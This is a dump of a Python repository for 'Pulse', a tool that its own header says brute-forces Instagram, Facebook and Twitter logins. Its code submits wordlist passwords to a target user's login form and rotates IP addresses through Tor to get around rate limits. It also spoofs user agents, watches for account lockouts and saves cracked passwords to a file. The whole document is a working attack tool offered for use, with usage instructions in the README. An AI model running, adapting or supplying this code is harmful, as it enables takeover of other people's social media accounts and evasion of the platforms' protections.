├── Core ├── __init__.py ├── browser.py └── tor.py ├── README.md └── pulse.py /Core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bitwise-01/Pulse-/2f4cef490697b806fe0fe4b78e2aa6d1f8c2dfec/Core/__init__.py -------------------------------------------------------------------------------- /Core/browser.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | import requests 4 | import cookielib 5 | import mechanize 6 | 7 | class Browser(object): 8 | def __init__(self): 9 | self.br = None 10 | 11 | def createBrowser(self): 12 | br = mechanize.Browser() 13 | br.set_handle_equiv(True) 14 | br.set_handle_referer(True) 15 | br.set_handle_robots(False) 16 | br.set_cookiejar(cookielib.LWPCookieJar()) 17 | br.addheaders=[('User-agent',self.useragent())] 18 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) 19 | self.br = br 20 | 21 | def deleteBrowser(self): 22 | self.br.close() 23 | del self.br 24 | 25 | def getIp(self): 26 | try: 27 | return json.loads(requests.get('https://api.ipify.org/?format=json').text)['ip'] 28 | except KeyboardInterrupt:self.kill() 29 | except:pass 30 | 31 | def exists(self, name): 32 | try: 33 | link = 'https://{}.com/{}'.format(self.siteName, name) 34 | html = requests.get(link).text 35 | 36 | if self.siteName == 'Instagram': 37 | return True if '@{}'.format(name.lower()) in html else False 38 | 39 | elif self.siteName == 'Twitter': 40 | return False if 'errorpage' in html else True 41 | 42 | else: 43 | return False if 'Page Not Found' in html else True 44 | 45 | except KeyboardInterrupt:self.kill() 46 | except:return 47 | 48 | def login(self,password): 49 | if any([not self.alive,self.isFound]): 50 | return 51 | 52 | try: 53 | self.display(password) 54 | self.br.open(self.url) 55 | self.br.select_form(nr=0) 56 | self.br.form[self.form1] = self.username 57 | self.br.form[self.form2] = password 58 | return self.br.submit().read() 59 | except KeyboardInterrupt:self.kill() 60 | except:return 61 | 62 | def useragent(self): 63 | useragents = [ 64 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', 65 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 66 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', 67 | 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 68 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 69 | 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 70 | 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1'] 71 | return random.choice(useragents) 72 | -------------------------------------------------------------------------------- /Core/tor.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import socks 4 | import socket 5 | import subprocess 6 | 7 | class TorManager(object): 8 | def __init__(self): 9 | self.devnull = open(os.devnull,'w') 10 | 11 | def installTor(self): 12 | subprocess.call(['clear']) 13 | print '{0}[{1}-{0}]{2} Installing Tor, Please Wait {3}...{2}'.\ 14 | format(self.y,self.r,self.n,self.g);time.sleep(3) 15 | cmd = ['apt-get','install','tor','-y'] 16 | subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() 17 | 18 | def restartTor(self): 19 | cmd = ['service','tor','restart'] 20 | subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() 21 | time.sleep(.5) 22 | 23 | def stopTor(self): 24 | cmd = ['service','tor','stop'] 25 | subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() 26 | 27 | def updateIp(self): 28 | self.restartTor() 29 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,'127.0.0.1',9050,True) 30 | socket.socket=socks.socksocket 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### No longer maintained, use [hyrPulse](https://github.com/Ethical-H4CK3R/hyprPulse) instead 2 | 3 | # Usage 4 | python pulse.py [site] [username] [wordlist] 5 | 6 | **python pulse.py Instagram username103 pass.lst** 7 | -------------------------------------------------------------------------------- /pulse.py: -------------------------------------------------------------------------------- 1 | # Date: 08/09/2017 2 | # Distro: Kali Linux 3 | # Author: Ethical-H4CK3R 4 | # Description: Bruteforce Instagram, Facebook and Twitter 5 | # 6 | # 7 | import os 8 | import time 9 | import argparse 10 | import threading 11 | import subprocess 12 | from platform import platform 13 | from Core.tor import TorManager 14 | from Core.browser import Browser 15 | 16 | sites = { 17 | 'twitter':{ 18 | 'name':'Twitter', 19 | 'url':'https://m.twitter.com/login/', 20 | 'form1':'session[username_or_email]', 21 | 'form2':'session[password]' 22 | }, 23 | 24 | 'facebook':{ 25 | 'name':'Facebook', 26 | 'url':'https://mbasic.facebook.com/login.php', 27 | 'form1':'email', 28 | 'form2':'pass' 29 | }, 30 | 31 | 'instagram':{ 32 | 'name':'Instagram', 33 | 'url':'https://www.instagram.com/accounts/login/?force_classic_login', 34 | 'form1':'username', 35 | 'form2':'password' 36 | } 37 | } 38 | 39 | class Bruter(TorManager,Browser): 40 | def __init__(self,site,username,wordlist): 41 | self.site = sites[site] 42 | self.username = username 43 | self.wordlist = wordlist 44 | self.lock = threading.Lock() 45 | 46 | self.ip = None # current ip address 47 | self.tries = 0 48 | self.alive = True # is bruter still running 49 | self.locked = False # for facebook; after a while it locks 50 | self.isFound = False # is the password found? 51 | self.siteName = self.site['name'] 52 | 53 | self.passlist = [] # temporary storage; holds a max of 5 passwords 54 | self.recentIps = [] # temporary storage; holds a max of 5 ip addresses 55 | 56 | # for browser 57 | self.url = self.site['url'] 58 | self.form1 = self.site['form1'] 59 | self.form2 = self.site['form2'] 60 | 61 | Browser.__init__(self) 62 | TorManager.__init__(self) 63 | 64 | self.n = '\033[0m' # null ---> reset 65 | self.r = '\033[31m' # red 66 | self.g = '\033[32m' # green 67 | self.y = '\033[33m' # yellow 68 | self.b = '\033[34m' # blue 69 | 70 | def kill(self,msg=None): 71 | try: 72 | if self.isFound: 73 | self.display(msg) 74 | print ' [-] Password Found' 75 | 76 | with open('Cracked.txt','a') as f: 77 | f.write('[-] Site: {}\n[-] Username: {}\n[-] Password: {}\n\n'.\ 78 | format(self.siteName,self.username,msg)) 79 | 80 | if all([not self.isFound, msg]): 81 | print '\n [-] {}'.format(msg) 82 | 83 | self.alive = False 84 | self.stopTor() 85 | finally:exit() 86 | 87 | def modifylist(self): 88 | if len(self.recentIps) == 5: 89 | del self.recentIps[0] 90 | 91 | # failsafe 92 | if len(self.recentIps) > 5: 93 | while all([len(self.recentIps) > 4]): 94 | del self.recentIps[0] 95 | 96 | def manageIps(self,rec=2): 97 | ip = self.getIp() 98 | if ip: 99 | if ip in self.recentIps: 100 | self.updateIp() 101 | self.manageIps() 102 | self.ip = ip 103 | self.recentIps.append(ip) 104 | else: 105 | if rec: 106 | self.updateIp() 107 | self.manageIps(rec-1) 108 | else: 109 | self.kill('Lost Connection'.format(self.y,self.r,self.n)) 110 | 111 | def changeIp(self): 112 | self.createBrowser() 113 | self.updateIp() 114 | 115 | self.manageIps() 116 | self.modifylist() 117 | self.deleteBrowser() 118 | 119 | def setupPasswords(self): 120 | with open(self.wordlist,'r') as passwords: 121 | for pwd in passwords: 122 | pwd = pwd.replace('\n','') 123 | if len(self.passlist) < 5: 124 | self.passlist.append(pwd) 125 | else: 126 | while all([self.alive,len(self.passlist)]):pass 127 | if not len(self.passlist): # just making sure, because self.alive could be false 128 | self.passlist.append(pwd) 129 | 130 | # done reading file 131 | while self.alive: 132 | if not len(self.passlist): 133 | self.alive = False 134 | 135 | def attempt(self,pwd): 136 | with self.lock: 137 | self.tries+=1 138 | 139 | self.createBrowser() 140 | html = self.login(pwd) 141 | 142 | if html: 143 | self.locked = True if '/help/contact/' in html else self.locked # facebook only 144 | if self.locked: 145 | self.display(pwd) 146 | self.kill('{} is {}locked{}, please try again later.'.\ 147 | format(self.username,self.r,self.n)) 148 | 149 | if any(['save-device' in html,'home.php' in html]): # facebook only 150 | self.isFound = True 151 | self.kill(pwd) 152 | 153 | if all([not self.form1 in html,not self.form2 in html]): 154 | self.isFound = True 155 | self.kill(pwd) 156 | del self.passlist[self.passlist.index(pwd)] 157 | self.deleteBrowser() 158 | 159 | def run(self): 160 | self.display() 161 | time.sleep(1.3) 162 | threading.Thread(target=self.setupPasswords).start() 163 | while self.alive: 164 | bot = None # workers 165 | 166 | for pwd in self.passlist: 167 | bot = threading.Thread(target=self.attempt,args=[pwd]) 168 | bot.start() 169 | 170 | # wait for bot 171 | if bot: 172 | while all([self.alive,bot.is_alive()]):pass 173 | if self.alive: 174 | self.changeIp() 175 | 176 | def display(self,pwd=None): 177 | pwd = pwd if pwd else '' 178 | ip = self.ip if self.ip else '' 179 | color = self.r if self.locked else self.g 180 | creds = self.r if not self.isFound else self.g # credentials color 181 | attempts = self.tries if self.tries else '' 182 | 183 | subprocess.call(['clear']) 184 | print '\n {}[-] Web-Site: {}{}'.format(self.n,self.b,self.siteName) 185 | print ' {}[-] Proxy Ip: {}{}'.format(self.n,self.b,ip) 186 | print ' {}[-] Wordlist: {}{}'.format(self.n,self.b,self.wordlist) 187 | print ' {}[-] Username: {}{}'.format(self.n,creds,self.username.title()) 188 | print ' {}[-] Password: {}{}'.format(self.n,creds,pwd) 189 | print ' {}[-] Attempts: {}{}'.format(self.n,self.b,attempts) 190 | 191 | if self.siteName == 'Facebook': 192 | print ' {}[-] Account Locked: {}{}'.format(self.n,color,self.locked) 193 | print '\n {}+-------------------+{}\n'.format(self.r,self.n) 194 | 195 | if not ip: 196 | print ' [-] Obtaining Proxy IP {}...{}'.format(self.g,self.n) 197 | self.changeIp() 198 | time.sleep(1.3) 199 | self.display() 200 | 201 | def main(): 202 | # assign arugments 203 | args = argparse.ArgumentParser() 204 | args.add_argument('site',help='Instagram, Facebook or Twitter') 205 | args.add_argument('username',help='Email or username') 206 | args.add_argument('wordlist',help='wordlist') 207 | args = args.parse_args() 208 | 209 | # assign variables 210 | engine = Bruter(args.site.lower(),args.username,args.wordlist) 211 | 212 | # does tor exists? 213 | if not os.path.exists('/usr/sbin/tor'): 214 | try:engine.installTor() 215 | except KeyboardInterrupt:engine.kill('Exiting {}...{}'.format(self.g,self.n)) 216 | if not os.path.exists('/usr/sbin/tor'): 217 | engine.kill('Please Install Tor'.format(engine.y,engine.r,engine.n)) 218 | 219 | # does the account exists? 220 | if not engine.exists(engine.username): 221 | engine.kill('The Account \'{}\' does not exists'.format(engine.username.title())) 222 | 223 | # start attack 224 | try: 225 | engine.run() 226 | finally: 227 | if all([not engine.isFound,not engine.locked]): 228 | engine.kill('Exiting {}...{}'.format(engine.g,engine.n)) 229 | 230 | if __name__ == '__main__': 231 | if not 'kali' in platform(): 232 | exit('Kali Linux required') 233 | 234 | if os.getuid(): 235 | exit('root access required') 236 | else: 237 | main() 238 | --------------------------------------------------------------------------------